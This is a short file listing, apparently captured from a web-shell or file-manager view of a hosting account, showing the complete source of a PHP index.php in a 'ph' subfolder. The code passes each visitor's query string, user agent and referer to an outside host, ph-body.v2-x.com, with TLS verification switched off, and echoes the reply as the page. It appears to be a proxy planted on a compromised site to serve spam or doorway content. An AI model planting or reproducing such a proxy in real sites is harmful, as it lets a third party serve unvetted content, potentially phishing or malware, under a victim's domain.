• File: index.php
  • Full Path: /home/dealkatnwc/www/ph/index.php
  • Date Modified: 05/15/2026 8:44 AM
  • File size: 865 bytes
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
$query = $_SERVER['QUERY_STRING'];
$remote_url = "http://ph-body.v2-x.com/" . "" . $query;
$ch = curl_init($remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);

if (isset($_SERVER['HTTP_USER_AGENT'])) {
    curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
}

if (isset($_SERVER['HTTP_REFERER'])) {
    curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($http_code == 200) {
    echo $response;
} else {
    echo "<pre>fail: HTTP $http_code
error message: $error</pre>";
}
?>